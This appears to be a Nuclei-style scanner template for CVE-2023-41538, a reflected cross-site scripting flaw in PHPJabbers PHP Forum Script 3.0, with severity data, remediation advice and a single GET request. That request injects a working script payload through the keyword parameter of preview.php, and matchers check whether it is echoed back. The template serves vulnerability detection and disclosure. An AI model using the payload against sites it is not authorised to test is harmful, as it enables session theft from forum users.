id: CVE-2023-41538

info:
  name: PHPJabbers PHP Forum Script 3.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    PhpJabbers PHP Forum Script 3.0 is vulnerable to Cross Site Scripting (XSS) via the keyword parameter.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the keyword parameter in search functionality, potentially stealing forum administrator session cookies and accessing sensitive forum discussions.
  remediation: |
    Update PHPJabbers PHP Forum Script to a version newer than 3.0 that properly sanitizes the keyword parameter and encodes output in preview.php.
  reference:
    - https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/PHP-Forum-Script-3.0
    - https://nvd.nist.gov/vuln/detail/CVE-2023-41538
    - https://github.com/2lambda123/Windows10Exploits
    - https://github.com/codeb0ss/CVE-2023-41538-PoC
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-41538
    cwe-id: CWE-79
    epss-score: 0.12819
    epss-percentile: 0.94121
    cpe: cpe:2.3:a:phpjabbers:php_forum_script:3.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phpjabbers
    product: php_forum_script
  tags: cve2023,cve,xss,phpjabber,jabber,phpjabbers,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/preview.php?controller=pjLoad&action=pjActionIndex&question_search=1&pjPage=1&column=created&direction=DESC&keyword=%22><script>alert(document.domain)</script>"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "New Question", "><script>alert(document.domain)</script>")'
        condition: and
# digest: 490a0046304402202627ee41f4fd501412ade520096ea6c980ff34ea6dcf30a57e52dceb3050dbec022000e62a346217fe77b0d6fe5dff7dab5129192e04a2fc385ad67aac4c0e13a1c6:922c64590222798bb761d5b6d8e72950